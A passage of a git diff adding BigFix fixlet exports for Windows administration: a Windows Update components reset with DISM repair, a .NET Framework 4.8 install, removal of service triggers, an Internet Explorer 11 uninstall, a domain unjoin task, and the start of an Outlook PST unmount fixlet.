+delete __createfile
+createfile until _EOF_EOF_EOF
+
+taskkill /im wusa.exe /f
+net stop bits
+net stop wuauserv
+net stop cryptsvc
+
+_EOF_EOF_EOF
+delete precleanup.cmd
+move __createfile precleanup.cmd
+waithidden cmd.exe /c precleanup.cmd
+
+
+// Check that everything *actually* stopped.  Disable service and kill processes if necessary
+
+if {exists pids of services "wuauserv"}
+ waithidden sc.exe config wuauserv start= disabled
+ waithidden taskkill.exe /pid {pids of services "wuauserv"} /F
+endif
+
+if {exists pids of services "bits"}
+ waithidden sc.exe config bits start= disabled
+ waithidden taskkill.exe /pid {pids of services "bits"} /F
+endif
+
+if {exists pids of services "cryptsvc"}
+ waithidden sc.exe config cryptsvc start= disabled
+ waithidden taskkill.exe /pid {pids of services "cryptsvc"} /F
+endif
+
+delete __createfile
+createfile until _EOF_EOF_EOF
+
+Del /q "%ALLUSERSPROFILE%\Application Data\Microsoft\Network\Downloader\qmgr*.dat"
+
+rd /s /q %Systemroot%\SoftwareDistribution\DataStore.bak
+rd /s /q %Systemroot%\SoftwareDistribution\Download.bak
+rd /s /q %Systemroot%\system32\catroot2.bak
+
+Ren %Systemroot%\SoftwareDistribution\DataStore DataStore.bak
+Ren %Systemroot%\SoftwareDistribution\Download Download.bak
+Ren %Systemroot%\System32\catroot2 catroot2.bak
+
+sc.exe sdset bits D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
+sc.exe sdset wuauserv D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
+
+
+cd /d %windir%\system32
+regsvr32.exe /s atl.dll
+regsvr32.exe /s urlmon.dll
+regsvr32.exe /s mshtml.dll
+regsvr32.exe /s shdocvw.dll
+regsvr32.exe /s browseui.dll
+regsvr32.exe /s jscript.dll
+regsvr32.exe /s vbscript.dll
+regsvr32.exe /s scrrun.dll
+regsvr32.exe /s msxml.dll
+regsvr32.exe /s msxml3.dll
+regsvr32.exe /s msxml6.dll
+regsvr32.exe /s actxprxy.dll
+regsvr32.exe /s softpub.dll
+regsvr32.exe /s wintrust.dll
+regsvr32.exe /s dssenh.dll
+regsvr32.exe /s rsaenh.dll
+regsvr32.exe /s gpkcsp.dll
+regsvr32.exe /s sccbase.dll
+regsvr32.exe /s slbcsp.dll
+regsvr32.exe /s cryptdlg.dll
+regsvr32.exe /s oleaut32.dll
+regsvr32.exe /s ole32.dll
+regsvr32.exe /s shell32.dll
+regsvr32.exe /s initpki.dll
+regsvr32.exe /s wuapi.dll
+regsvr32.exe /s wuaueng.dll
+regsvr32.exe /s wuaueng1.dll
+regsvr32.exe /s wucltui.dll
+regsvr32.exe /s wups.dll
+regsvr32.exe /s wups2.dll
+regsvr32.exe /s wuweb.dll
+regsvr32.exe /s qmgr.dll
+regsvr32.exe /s qmgrprxy.dll
+regsvr32.exe /s wucltux.dll
+regsvr32.exe /s muweb.dll
+regsvr32.exe /s wuwebv.dll
+
+sc config bits start= demand
+net start bits
+
+sc config wuauserv start= demand
+net start wuauserv
+
+sc config cryptsvc start= auto
+net start cryptsvc
+_EOF_EOF_EOF
+
+delete cleanup.cmd
+move __createfile cleanup.cmd
+
+waithidden cmd.exe /c "cleanup.cmd > "{parameter "LogFolder"}\windows-update-cleanup.txt" 2>&1"
+
+// DISM Pending Component Updates Reset
+delete __createfile
+createfile until EOF_EOF_EOF
+@echo DISM repair running %DATE% %TIME%
+
+@echo Kill any running WUSA update
+taskkill.exe /im wusa.exe /f
+
+@echo Package list before servicing:
+dism /online /get-packages /format:table
+
+@echo Removing any Pending Package installations via DISM
+for /f %%i in ('dism /online /get-packages /format:table ^|findstr " Pending ^|"') do dism.exe /online /remove-package /PackageName:%%i /NoRestart
+@echo DISM command ended with result code %ERRORLEVEL%
+
+@echo Package list after servicing:
+dism /online /get-packages /format:table
+
+
+
+@echo DISM repair completed %DATE% %TIME%
+
+EOF_EOF_EOF
+
+delete DISM-repair.cmd
+move __createfile DISM-repair.cmd
+
+delete "{parameter "LogFolder"}\DISM-RemovePending.log"
+waithidden cmd.exe /c "DISM-repair.cmd >> "{parameter "LogFolder"}\DISM-RemovePending.log" 2>&1"
+
+
+
+delete "{parameter "LogFolder"}\DISM-RestoreHealth.log"
+delete "{parameter "LogFolder"}\DISM-RestoreHealth.out"
+
+waithidden cmd /C "DISM.EXE /LogPath:"{parameter "LogFolder"}\DISM-RestoreHealth.log" /LogLevel:4 /NoRestart /Online /Cleanup-Image /RestoreHealth > "{parameter "LogFolder"}\DISM-RestoreHealth.out" 2>&1"
+
+
+action requires restart "windows_update_reset"
+
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28432">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to attempt repair with a specific Windows Installation Source.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+action parameter query "RepairSource" with description "Enter the path of trusted Windows files to be used for repair" and with default value "C:\Windows-Media-Source"
+
+parameter "LogFolder"="{pathname of windows folder}\temp"
+folder create "{parameter "LogFolder"}"
+
+// Windows Update Store Cleanup & Windows Update Components Reset
+delete __createfile
+createfile until _EOF_EOF_EOF
+
+taskkill /im wusa.exe /f
+net stop bits
+net stop wuauserv
+net stop cryptsvc
+
+_EOF_EOF_EOF
+delete precleanup.cmd
+move __createfile precleanup.cmd
+waithidden cmd.exe /c precleanup.cmd
+
+
+// Check that everything *actually* stopped.  Disable service and kill processes if necessary
+
+if {exists pids of services "wuauserv"}
+ waithidden sc.exe config wuauserv start= disabled
+ waithidden taskkill.exe /pid {pids of services "wuauserv"} /F
+endif
+
+if {exists pids of services "bits"}
+ waithidden sc.exe config bits start= disabled
+ waithidden taskkill.exe /pid {pids of services "bits"} /F
+endif
+
+if {exists pids of services "cryptsvc"}
+ waithidden sc.exe config cryptsvc start= disabled
+ waithidden taskkill.exe /pid {pids of services "cryptsvc"} /F
+endif
+
+delete __createfile
+createfile until _EOF_EOF_EOF
+
+Del /q "%ALLUSERSPROFILE%\Application Data\Microsoft\Network\Downloader\qmgr*.dat"
+
+rd /s /q %Systemroot%\SoftwareDistribution\DataStore.bak
+rd /s /q %Systemroot%\SoftwareDistribution\Download.bak
+rd /s /q %Systemroot%\system32\catroot2.bak
+
+Ren %Systemroot%\SoftwareDistribution\DataStore DataStore.bak
+Ren %Systemroot%\SoftwareDistribution\Download Download.bak
+Ren %Systemroot%\System32\catroot2 catroot2.bak
+
+sc.exe sdset bits D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
+sc.exe sdset wuauserv D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
+
+
+cd /d %windir%\system32
+regsvr32.exe /s atl.dll
+regsvr32.exe /s urlmon.dll
+regsvr32.exe /s mshtml.dll
+regsvr32.exe /s shdocvw.dll
+regsvr32.exe /s browseui.dll
+regsvr32.exe /s jscript.dll
+regsvr32.exe /s vbscript.dll
+regsvr32.exe /s scrrun.dll
+regsvr32.exe /s msxml.dll
+regsvr32.exe /s msxml3.dll
+regsvr32.exe /s msxml6.dll
+regsvr32.exe /s actxprxy.dll
+regsvr32.exe /s softpub.dll
+regsvr32.exe /s wintrust.dll
+regsvr32.exe /s dssenh.dll
+regsvr32.exe /s rsaenh.dll
+regsvr32.exe /s gpkcsp.dll
+regsvr32.exe /s sccbase.dll
+regsvr32.exe /s slbcsp.dll
+regsvr32.exe /s cryptdlg.dll
+regsvr32.exe /s oleaut32.dll
+regsvr32.exe /s ole32.dll
+regsvr32.exe /s shell32.dll
+regsvr32.exe /s initpki.dll
+regsvr32.exe /s wuapi.dll
+regsvr32.exe /s wuaueng.dll
+regsvr32.exe /s wuaueng1.dll
+regsvr32.exe /s wucltui.dll
+regsvr32.exe /s wups.dll
+regsvr32.exe /s wups2.dll
+regsvr32.exe /s wuweb.dll
+regsvr32.exe /s qmgr.dll
+regsvr32.exe /s qmgrprxy.dll
+regsvr32.exe /s wucltux.dll
+regsvr32.exe /s muweb.dll
+regsvr32.exe /s wuwebv.dll
+
+sc config bits start= demand
+net start bits
+
+sc config wuauserv start= demand
+net start wuauserv
+
+sc config cryptsvc start= auto
+net start cryptsvc
+_EOF_EOF_EOF
+
+delete cleanup.cmd
+move __createfile cleanup.cmd
+
+waithidden cmd.exe /c "cleanup.cmd > "{parameter "LogFolder"}\windows-update-cleanup.txt" 2>&1"
+
+// DISM Pending Component Updates Reset
+delete __createfile
+createfile until EOF_EOF_EOF
+@echo DISM repair running %DATE% %TIME%
+
+@echo Kill any running WUSA update
+taskkill.exe /im wusa.exe /f
+
+@echo Package list before servicing:
+dism /online /get-packages /format:table
+
+@echo Removing any Pending Package installations via DISM
+for /f %%i in ('dism /online /get-packages /format:table ^|findstr " Pending ^|"') do dism.exe /online /remove-package /PackageName:%%i /NoRestart
+@echo DISM command ended with result code %ERRORLEVEL%
+
+@echo Package list after servicing:
+dism /online /get-packages /format:table
+
+
+
+@echo DISM repair completed %DATE% %TIME%
+
+EOF_EOF_EOF
+
+delete DISM-repair.cmd
+move __createfile DISM-repair.cmd
+
+delete "{parameter "LogFolder"}\DISM-RemovePending.log"
+waithidden cmd.exe /c "DISM-repair.cmd >> "{parameter "LogFolder"}\DISM-RemovePending.log" 2>&1"
+
+
+
+delete "{parameter "LogFolder"}\DISM-RestoreHealth.log"
+delete "{parameter "LogFolder"}\DISM-RestoreHealth.out"
+
+waithidden cmd /C "DISM.EXE /LogPath:"{parameter "LogFolder"}\DISM-RestoreHealth.log" /LogLevel:4 /NoRestart /Online /Cleanup-Image /RestoreHealth /Source:"{parameter "RepairSource" of action}" /LimitAccess > "{parameter "LogFolder"}\DISM-RestoreHealth.out" 2>&1"
+
+action requires restart "windows_update_reset"
+
+]]></ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/UPDATE_ Microsoft .NET Framework 4.8 Available - Windows 7 SP1 _ Windows 8.1 _ Windows 10 _ Windows Server 2008 R2 SP1 _ Windows Server 2012 _ Windows Server 2012 R2 _ Windows Server 2016 _ Windows Server 2019 (26631).bes b/Sites/Windows Management/Fixlets/Fixlets/UPDATE_ Microsoft .NET Framework 4.8 Available - Windows 7 SP1 _ Windows 8.1 _ Windows 10 _ Windows Server 2008 R2 SP1 _ Windows Server 2012 _ Windows Server 2012 R2 _ Windows Server 2016 _ Windows Server 2019 (26631).bes
new file mode 100644
index 000000000..2a0025eaa
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/UPDATE_ Microsoft .NET Framework 4.8 Available - Windows 7 SP1 _ Windows 8.1 _ Windows 10 _ Windows Server 2008 R2 SP1 _ Windows Server 2012 _ Windows Server 2012 R2 _ Windows Server 2016 _ Windows Server 2019 (26631).bes	
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : UPDATE: Microsoft .NET Framework 4.8 Available - Windows 7 SP1 / Windows 8.1 / Windows 10 / Windows Server 2008 R2 SP1 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016 / Windows Server 2019
+  ID       : 26631
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2019-06-14T11:37:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>UPDATE: Microsoft .NET Framework 4.8 Available - Windows 7 SP1 / Windows 8.1 / Windows 10 / Windows Server 2008 R2 SP1 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016 / Windows Server 2019</Title>
+    <Description><![CDATA[<DIV class=FixletMessage>
+<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>The Microsoft .NET Framework 4.8 is a highly compatible, in-place update to the Microsoft .NET Framework 4, Microsoft .NET Framework 4.5, Microsoft .NET Framework 4.5.1, Microsoft .NET Framework 4.5.2, Microsoft .NET Framework 4.6, Microsoft .NET Framework 4.6.1, Microsoft .NET Framework 4.6.2, Microsoft .NET Framework 4.7, Microsoft .NET Framework 4.7.1, and Microsoft .NET Framework 4.7.2. The offline package can be used in situations where the web installer cannot be used due to lack of internet connectivity.<BR><BR>After downloading and installing this update, affected computers will no longer be susceptible to this vulnerability.<BR><BR><STRONG><FONT color=#ff0000>Important Note:</FONT></STRONG> There are known issues associated with the installation of this update. See the Known Issues section of the Knowledge Base Article for more information.</P>
+<P><B>Note:</B> Affected computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.</P></TD></TR></TBODY></TABLE></DIV>
+<DIV class=FixletProperty>
+<H4>File Size:</H4>69.3 MB </DIV>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Relevance>(((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1) OR (((name of it = &quot;Win8.1&quot; OR name of it = &quot;Win8&quot; AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot;) AND service pack major version of it = 0) OR (name of it = &quot;Win10&quot; OR (it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of it AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) OR ((((it starts with &quot;Win20&quot; or it = &quot;Win2016&quot; or it = &quot;Win2019&quot;) of name of it AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) AND service pack major version of it = 0))) of operating system</Relevance>
+    <Relevance><![CDATA[not exists key "HKLM\Software\Microsoft\NET Framework Setup\NDP\v4" of native registry OR exists key "HKLM\Software\Microsoft\NET Framework Setup\NDP\v4" whose (not exists key "Full" of it OR exists key "Full" whose (not exists value "Release" of it OR value "Release" of it < 528049) of it) of native registry]]></Relevance>
+    <Relevance>if (name of it = &quot;Win8.1&quot; OR name of it = &quot;Win8&quot; AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) of operating system then exists key (&quot;Package_for_KB2919355~31bf3856ad364e35~amd64~~6.3.1.14&quot;; &quot;Package_for_KB2919355~31bf3856ad364e35~x86~~6.3.1.14&quot;) whose (112 = value &quot;CurrentState&quot; of it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of native registry else true</Relevance>
+    <Relevance>if ((exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10 of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) then ((it as integer = 1607 OR it as integer = 1703 OR it as integer = 1709 OR it as integer = 1803 OR it as integer = 1809) of value &quot;ReleaseId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) else true</Relevance>
+    <Category>Update</Category>
+    <Source>Microsoft</Source>
+    <SourceReleaseDate>2018-04-18</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 14 Jun 2018 06:43:49 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-operating-system</Name>
+      <Value>Windows 7 SP1 |~| Windows 8 Gold |~| Windows 8.1 Gold |~| Windows Server 2008 R2 SP1 |~| Windows Server 2008 SP2 |~| Windows Server 2012 Gold |~| Windows Server 2012 R2 Gold |~| Windows Vista SP2 (x64)</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>.NET Framework</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win8.1|Win2012|Win2012R2|Win2008R2|Win8|Win7|WinVista|Win2008</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 14 Jun 2019 18:04:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch ndp48-x86-x64-allos-enu.exe sha1:0d425249d42a01e7ab3ac243152fa7773c43f0bf size:72721568 https://download.visualstudio.microsoft.com/download/pr/7afca223-55d2-470a-8edc-6a1739ae3252/abd170b4b0ec15ad0222a809b761a036/ndp48-x86-x64-allos-enu.exe sha256:95889D6DE3F2070C07790AD6CF2000D33D9A1BDFC6A381725AB82AB1C314FD53
+
+waithidden __Download\ndp48-x86-x64-allos-enu.exe /quiet /norestart
+
+action may require restart &quot;0d425249d42a01e7ab3ac243152fa7773c43f0bf&quot;
+</ActionScript>
+    </DefaultAction>
+    <Action ID="Action27905">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the Knowledge Base Article for this update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://devblogs.microsoft.com/dotnet/announcing-the-net-framework-4-8</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/UnSet Service tzautoupdate triggers (Trigger Start) - Windows (24614).bes b/Sites/Windows Management/Fixlets/Fixlets/UnSet Service tzautoupdate triggers (Trigger Start) - Windows (24614).bes
new file mode 100644
index 000000000..dcd848246
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/UnSet Service tzautoupdate triggers (Trigger Start) - Windows (24614).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : UnSet Service tzautoupdate triggers (Trigger Start) - Windows
+  ID       : 24614
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>UnSet Service tzautoupdate triggers (Trigger Start) - Windows</Title>
+    <Description><![CDATA[<P>WARNING: This is a bad idea to do to a service without understanding the consequences!!!&nbsp; You probably shouldn't do this!</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND exists keys &quot;TriggerInfo&quot; whose(exists keys of it) of it AND not exists values &quot;Start&quot; whose(it as integer = 4) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:13:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc triggerinfo tzautoupdate delete
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://serverfault.com/questions/599099/windows-service-trigger-start-difference-manual-vs-automatic
+//  - https://www.tenforums.com/general-support/7464-difference-between-manual-manual-trigger-start-services.html#post924871
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Uninstall_  Internet-Explorer 11 (Windows 64BIT) (26938).bes b/Sites/Windows Management/Fixlets/Fixlets/Uninstall_  Internet-Explorer 11 (Windows 64BIT) (26938).bes
new file mode 100644
index 000000000..57f3ba57d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Uninstall_  Internet-Explorer 11 (Windows 64BIT) (26938).bes	
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Uninstall:  Internet-Explorer 11 (Windows 64BIT)
+  ID       : 26938
+  Author   : jeffschafer
+  Domain   : SYST
+  Imported : 2022-07-14T11:37:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Uninstall: Internet-Explorer 11 (Windows 64BIT)</Title>
+    <Description><![CDATA[<P>UniInstall Internet explorer 11&nbsp;via the DISM tool.&nbsp; This action will be relevant on Windows OS's that have Internet Explorer 11 installed</P>]]></Description>
+    <Relevance>name of operating systems as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance>exists regapp &quot;iexplore.exe&quot; and product version of regapp &quot;iexplore.exe&quot; as string starts with &quot;11.&quot;</Relevance>
+    <Category>Uninstall</Category>
+    <Source>AVP-Jeff Schafer</Source>
+    <SourceReleaseDate>2022-07-13</SourceReleaseDate>
+    <SourceSeverity>CRITICAL</SourceSeverity>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 26 Dec 2012 15:35:15 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 26 Dec 2012 15:35:15 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>Uninstall Feature Internet Explorer Optional</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>1048</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 13 Jul 2022 22:18:48 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to&amp;nbsp;remove IE 11 on targeted systems with no forced reboot (Note: Reboot will be required to complete)</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+delete __appendfile
+appendfile &quot;{pathname of system folder}\dism.exe&quot; /online /NoRestart /Remove-Capability /CapabilityName:Browser.InternetExplorer~~~~0.0.11.0 /quiet
+delete __Download\remove_ie_11.bat
+move __appendfile __Download\remove_ie_11.bat
+waithidden __Download\remove_ie_11.bat
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action28254">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to&amp;nbsp;&amp;nbsp;remove IE 11 on targeted system with immediate foreced reboot (Warning).</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+delete __appendfile
+appendfile &quot;{pathname of system folder}\dism.exe&quot; /online /Remove-Capability /CapabilityName:Browser.InternetExplorer~~~~0.0.11.0 /quiet
+delete __Download\remove_ie_11.bat
+move __appendfile __Download\remove_ie_11.bat
+waithidden __Download\remove_ie_11.bat
+action requires restart</ActionScript>
+    </Action>
+    <Action ID="Action28255">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review Microsoft website on how to disable IE 11</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/installation/disable-internet-explorer-windows</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Unjoin Domain on Windows Computer - wmic (26948).bes b/Sites/Windows Management/Fixlets/Fixlets/Unjoin Domain on Windows Computer - wmic (26948).bes
new file mode 100644
index 000000000..c43ef4b1d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Unjoin Domain on Windows Computer - wmic (26948).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Unjoin Domain on Windows Computer - wmic
+  ID       : 26948
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-09-12T07:26:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Unjoin Domain on Windows Computer - wmic</Title>
+    <Description><![CDATA[This Task will change the computer name of a Windows computer.&nbsp; This is valid only for clients that are not joined to a Domain. ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance>exists netbios domainnames of local computers of active directories</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 04 Oct 2019 17:39:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
+waithidden wmic.exe computersystem where name!=null call unjoindomainorworkgroup
+action requires restart RenameComputer</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Unmount PST Files from Outlook (26642).bes b/Sites/Windows Management/Fixlets/Fixlets/Unmount PST Files from Outlook (26642).bes
new file mode 100644
index 000000000..79693d8a4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Unmount PST Files from Outlook (26642).bes	
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Unmount PST Files from Outlook
+  ID       : 26642
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2019-08-23T13:19:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Unmount PST Files from Outlook</Title>
+    <Description>Unmount PST files from Outlook for Current User and close Outlook to unlock the file </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(if exists regapp "outlook.exe" then (if ((version of regapp "outlook.exe" > "15.0.0.0") AND (version of regapp "outlook.exe" < "16.0.0.0")) then (if exists (names of values of key "Software\Microsoft\Office\15.0\Outlook\Search\Catalog" of keys of key "HKEY_USERS" of registry) whose (it as string contains ".pst") then true else false) else false) else false) OR (if exists regapp "outlook.exe" then (if version of regapp "outlook.exe" > "16.0.0.0" then (if exists (names of values of key "Software\Microsoft\Office\16.0\Outlook\Search\Catalog" of keys of key "HKEY_USERS" of registry) whose (it as string contains ".pst") then true else false) else false) else false) OR (if exists regapp "outlook.exe" then (if version of regapp "outlook.exe" = "10" then (if exists values whose (it as string contains ".pst") of keys of keys of keys "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles" of keys of keys "HKEY_USERS" of registry then true else false) else false) else false)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-08-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Aug 2019 19:47:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
